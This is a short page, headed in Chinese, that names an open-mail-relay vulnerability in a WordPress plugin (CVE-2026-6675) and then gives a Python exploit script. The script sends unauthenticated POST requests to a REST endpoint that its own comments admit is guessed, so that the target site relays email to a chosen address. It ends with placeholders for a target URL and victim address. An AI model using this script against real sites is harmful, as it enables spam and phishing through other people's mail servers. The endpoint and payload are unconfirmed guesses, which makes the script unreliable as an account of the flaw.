CVE-2026-6675 WordPress插件开放邮件中继漏洞

import requests def exploit_open_relay(target_url, victim_email): # Vulnerable endpoint might be similar to /wp-json/rba/v1/send-email # Actual endpoint needs confirmation from source code analysis api_endpoint = f"{target_url}/wp-json/rba/v1/send-email" headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-6675-Scanner" } # Payload construction based on typical REST API structure payload = { "to": victim_email, "subject": "Security Alert: Open Relay Test", "body": "This email was sent via an unauthenticated open relay vulnerability." } try: response = requests.post(api_endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Success: Email likely sent to {victim_email}") print(f"[+] Server Response: {response.text}") else: print(f"[-] Failed: HTTP {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target target_email = "[email protected]" exploit_open_relay(target, target_email)